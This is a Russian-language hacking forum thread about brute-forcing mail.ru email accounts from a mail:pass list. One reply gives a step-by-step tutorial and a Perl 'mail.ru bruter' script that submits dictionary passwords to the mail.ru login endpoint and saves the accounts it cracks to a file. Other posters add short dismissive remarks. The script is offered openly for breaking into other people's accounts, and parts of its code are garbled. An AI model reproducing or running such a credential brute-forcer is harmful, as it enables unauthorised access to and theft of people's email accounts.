Брут мыла

[motos7]

В общем, у меня есть лист вида mail:pass. Чем можно брутить? А то ничего подходящего найти не могу.

[Yorvet]

https://hpc.name/showthread.php?t=33991

Может как "Логин;Пароль", так и отдельными списками.

[xciril]

Тухлая база.

[tickhack]

Взломать аккаунт на mail.ru довольно просто, самый простой способ это перебор паролей по словарю)

Данный брут написан на языке Perl поэтому перед тем как читать дальше скачайте и установите Active Perl по адресу http://www.activestate.com/activeperl/ (https://hpc.name/redirector.html#http://www.activestate.com/activeperl/)

Сделано? Отлично...
Теперь создайте отдельную папку в которой будем создавать скрипт и создайте в этой папке пустые файлы перечисленные ниже:
code:
brute-mail.txt
mail.txt
pass.txt
log.txt
Теперь в файл mail.txt напишите встолбик адреса мыл на мэил ру которые необходимо ломануть
В файл pass.txt поместите словарь для брута - в столбик слова или цифры по которым будем подбирать.

Теперь в этой же папке создайте пустой текстовый файл и поместите в него код написанный ниже:

Код:
source:

code:

#!/usr/bin/perl

use LWP::UserAgent;

print "########## GeNoM- mail.ru bruter v 1.3 ###############\n";

my $ua = LWP::UserAgent->new(
max_size => 1024,
agent => 'kakep brayzer v 9.1.1',
timeout => 30,
);



$set=0;
$setall=0;
open email, ") {
$mails=~s/\n//; # убираем символ конца строки
($login,$domain)=split(/\@/,$mails); # разбираем мыло на логин и домен
if ($log==1){open logg,">>log.txt";print logg "-----Start brute-->$login\@$domain\n";close logg;}
open pass, "$login\@$domain\n\n";
open logg,">>log.txt";print logg "\n-----Start brute-->$login\@$domain\n\n";close logg;
while ($password=) {
$password=~s/\n//; # убираем символ конца строки


my $req = HTTP::Request->new(POST => 'http://win.mail.ru/cgi-bin/auth');
$req->content("page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$password");
$req->referer('http://win.mail.ru/cgi-bin/auth');
my $res = $ua->request($req);
$yda4a=$res->as_string;

if ($yda4a=~m/500 Can't connect/==1) {print "$yda4a\n";exit;}

# выводим текущее состояние брута
if ($set==$setting){$time=localtime;$time=substr($tim e,4,15);print "Send pass->$password Bcego proBepeHo-->$setall Time-->$time\n";open logg,">>log.txt";$time=localtime;$time=substr($time,4,15);print logg "Send pass->$password Bcego proBepeHo-->$setall Time-->$time\n";close logg;$set=0;}


if ($yda4a=~m/checkcookie/==1) {print "For $login\@$domain password->$password\n";
open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$password\n";close brut;
open logg,">>log.txt";print logg "For $login\@$domain password->$password\n";close logg;
goto nashol;}

$set++;
$setall++;

}

nashol:
close pass;
}
close email;

Переименуйте этот файл на mail-ru.pl

Все, брутфорс готов!
Двойным щелчком запустите mail-ru.pl и в появившемся окне наблюдайте за ходом бручения.
В файле log.txt будет фиксироваться отчет, а в файле brute-mail.txt будут появляться взломанные мыла.

[Yorvet]

Ты забыл сказать, что твой перловый брут работает только с деда.

Цитата:

Сообщение от xciril

Тухлая база.

Какая нафиг база? Где ты её тут увидел?